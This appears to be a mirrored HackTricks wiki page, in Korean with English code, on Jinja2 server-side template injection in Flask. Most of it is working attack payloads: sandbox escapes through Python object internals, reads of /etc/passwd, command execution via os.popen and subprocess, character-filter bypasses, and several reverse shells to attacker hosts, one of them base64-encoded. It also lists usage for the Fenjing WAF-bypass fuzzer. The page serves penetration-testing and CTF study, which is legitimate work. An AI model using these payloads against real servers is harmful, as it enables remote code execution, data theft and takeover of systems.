mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
330 lines
13 KiB
Markdown
330 lines
13 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## **랩**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **기타**
|
|
|
|
### **디버그 문구**
|
|
|
|
디버그 확장이 활성화되면, 현재 컨텍스트와 사용 가능한 필터 및 테스트를 덤프하기 위해 `debug` 태그를 사용할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 내용을 확인하는 데 유용합니다.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **모든 구성 변수 덤프**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## **Jinja Injection**
|
|
|
|
우선, Jinja injection에서는 **샌드박스에서 탈출할 방법을 찾아야** 하며, 일반적인 파이썬 실행 흐름에 접근해야 합니다. 이를 위해 **비샌드박스 환경에서 온 객체를 악용해야** 하며, 이 객체들은 **샌드박스에서 접근할 수 있습니다**.
|
|
|
|
### Global Objects 접근하기
|
|
|
|
예를 들어, 코드 `render_template("hello.html", username=username, email=email)`에서 객체 username과 email은 **비샌드박스 파이썬 환경에서 오며** **샌드박스 환경 내에서 접근할 수 있습니다**.\
|
|
게다가, **샌드박스 환경에서 항상 접근할 수 있는** 다른 객체들도 있습니다. 이러한 객체들은:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Recovering \<class 'object'>
|
|
|
|
그런 다음, 이러한 객체에서 **`<class 'object'>`** 클래스에 도달해야 정의된 **클래스**를 **복구**하려고 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스**된 파이썬 환경의 모든 클래스를 **접근**할 수 있기 때문입니다.
|
|
|
|
이 **객체 클래스**에 접근하려면 **클래스 객체**에 접근한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 접근해야 합니다. 그리고 나서, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**합니다.
|
|
|
|
Check these examples:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### RCE Escaping
|
|
|
|
**복구한** `<class 'object'>`와 `__subclasses__`를 호출한 후, 이제 우리는 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
|
|
|
`__subclasses__` 호출을 통해 **수백 개의 새로운 함수에 접근할 수 있는 기회**를 얻었으며, 우리는 **파일 클래스**에 접근하여 **파일을 읽고/쓰는 것**이나 **명령을 실행할 수 있는** 클래스(예: `os`)에 접근하는 것만으로도 기쁠 것입니다.
|
|
|
|
**원격 파일 읽기/쓰기**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
더 많은 **클래스**를 사용하여 **탈출**하는 방법을 **확인**하려면:
|
|
|
|
{{#ref}}
|
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
|
{{#endref}}
|
|
|
|
### 필터 우회
|
|
|
|
#### 일반적인 우회
|
|
|
|
이 우회는 **일부 문자**를 사용하지 않고도 객체의 **속성**에 **접근**할 수 있게 해줍니다.\
|
|
우리는 이미 이전 예제에서 이러한 우회 중 일부를 보았지만, 여기에서 요약해 보겠습니다:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
- [**전역 객체에 접근할 수 있는 더 많은 옵션은 여기로 돌아가세요**](jinja2-ssti.md#accessing-global-objects)
|
|
- [**객체 클래스에 접근할 수 있는 더 많은 옵션은 여기로 돌아가세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
- [**객체 클래스 없이 RCE를 얻으려면 이 내용을 읽으세요**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**HTML 인코딩 피하기**
|
|
|
|
기본적으로 Flask는 보안상의 이유로 템플릿 내부의 모든 내용을 HTML로 인코딩합니다:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**`safe`** 필터를 사용하면 페이지에 JavaScript와 HTML을 **HTML 인코딩**되지 않은 상태로 주입할 수 있습니다. 다음과 같이:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**악성 구성 파일 작성으로 RCE.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## 여러 문자 없이
|
|
|
|
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** 없이
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## Jinja Injection without **\<class 'object'>**
|
|
|
|
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서 해당 클래스를 사용하지 않고 **RCE에 도달하는** 또 다른 방법이 있습니다.\
|
|
이 전역 객체 중에서 **함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 접근할 수 있으며, 그곳에서 **RCE**는 매우 **간단**합니다.
|
|
|
|
다음과 같은 방법으로 **`request`**, **`config`** 및 접근할 수 있는 **기타** 흥미로운 **전역 객체**에서 **함수**를 **찾을 수** 있습니다:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
일단 몇 가지 함수를 찾으면, 다음과 같이 내장 함수를 복구할 수 있습니다:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
### Fuzzing WAF 우회
|
|
|
|
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing)는 CTF에 특화된 도구이지만 실제 시나리오에서 잘못된 매개변수를 무차별 대입하는 데에도 유용할 수 있습니다. 이 도구는 필터를 감지하기 위해 단어와 쿼리를 뿌려 우회를 찾고, 대화형 콘솔도 제공합니다.
|
|
```
|
|
webui:
|
|
As the name suggests, web UI
|
|
Default port 11451
|
|
|
|
scan: scan the entire website
|
|
Extract all forms from the website based on the form element and attack them
|
|
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
|
Example:python -m fenjing scan --url 'http://xxx/'
|
|
|
|
crack: Attack a specific form
|
|
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
|
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
|
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
|
|
|
crack-path: attack a specific path
|
|
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
|
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
|
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
|
|
|
crack-request: Read a request file for attack
|
|
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
|
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
|
```
|
|
## References
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
- [여기에서 블랙리스트 문자 우회를 위한 attr 트릭 확인](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
|
|
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|